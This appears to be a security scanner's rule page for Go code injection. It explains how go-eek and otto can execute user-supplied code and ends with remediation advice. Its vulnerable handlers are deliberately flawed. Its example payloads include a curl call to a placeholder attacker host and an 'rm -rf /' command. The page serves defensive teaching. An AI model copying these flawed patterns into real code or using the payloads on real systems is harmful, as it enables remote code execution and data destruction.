Code Injection

ID

go.code_injection

Severity

critical

Resource

Injection

Language

Go

Tags

CWE:95, NIST.SP.800-53, OWASP:2021:A3, PCI-DSS:6.5.1

Description

Improper neutralization of directives in dynamically evaluated code ('Eval Injection').

Code Injection vulnerabilities occur when an application dynamically executes code containing untrusted input from users.

Rationale

When Go applications execute dynamically constructed code or scripts using libraries such as github.com/novalagung/go-eek or github.com/robertkrimen/otto, they can become vulnerable to code_injection if they incorporate unvalidated user input into the execution path.

In go-eek, the PrepareEvaluation() and Build() methods accept Go code as strings, which is then compiled into a plugin and executed. If user input is used in these strings, the attacker may inject arbitrary Go code.

package main

import (
	"github.com/novalagung/go-eek"
	"net/http"
)

func handler(w http.ResponseWriter, r *http.Request) {
	expr := r.URL.Query().Get("expr") // User-supplied input

	eekObj := eek.New()
	eekObj.SetName("insecure-eval")
	eekObj.DefineVariable(eek.Var{Name: "X", Type: "int"})
	eekObj.PrepareEvaluation(`
		result := ` + expr + `
		return result
	`) // FLAW
	err := eekObj.Build()
	if err != nil {
		http.Error(w, "Build error", 500)
		return
	}
	val, _ := eekObj.Evaluate(nil)
	w.Write([]byte(val.String()))
}

In this case, an attacker could supply:

1; _ = import("os/exec"); _ = exec.Command("curl", "http://attacker.com").Run()

This would be injected into the dynamic Go code and executed as part of the plugin.

Similarly, github.com/robertkrimen/otto allows execution of JavaScript via the Run() method. If the JS code is user-controlled, it becomes an RCE vector:

package main

import (
	"github.com/robertkrimen/otto"
	"net/http"
)

func handler(w http.ResponseWriter, r *http.Request) {
	script := r.URL.Query().Get("script") // Dangerous input

	vm := otto.New()
	vm.Set("exec", func(call otto.FunctionCall) otto.Value {
		cmd := call.Argument(0).String()
		out, _ := exec.Command("sh", "-c", cmd).Output()
		val, _ := otto.ToValue(string(out))
		return val
	})

	vm.Run(script)
}

A crafted input such as exec("rm -rf /") allows direct command execution on the host.

Remediation

To mitigate Code Injection vulnerabilities, follow these best practices:

  1. Avoid Dynamic Code Execution: Where possible, avoid using dynamic script execution or reflection with untrusted input.

  2. Input Validation and Sanitization: Assume all input is potentially malicious. Rigorously validate all user inputs to confirm they adhere to expected formats, and sanitize them (a whitelisting approach is recommended) to remove potentially harmful content.

  3. Canonicalization: Decode and canonicalize inputs to a standard internal representation before validation. This helps prevent bypassing input filters through encoding tricks

Configuration

The detector has the following configurable parameters:

  • sources, that indicates the source kinds to check.

  • neutralizations, that indicates the neutralization kinds to check.

Unless you need to change the default behavior, you typically do not need to configure this detector.

References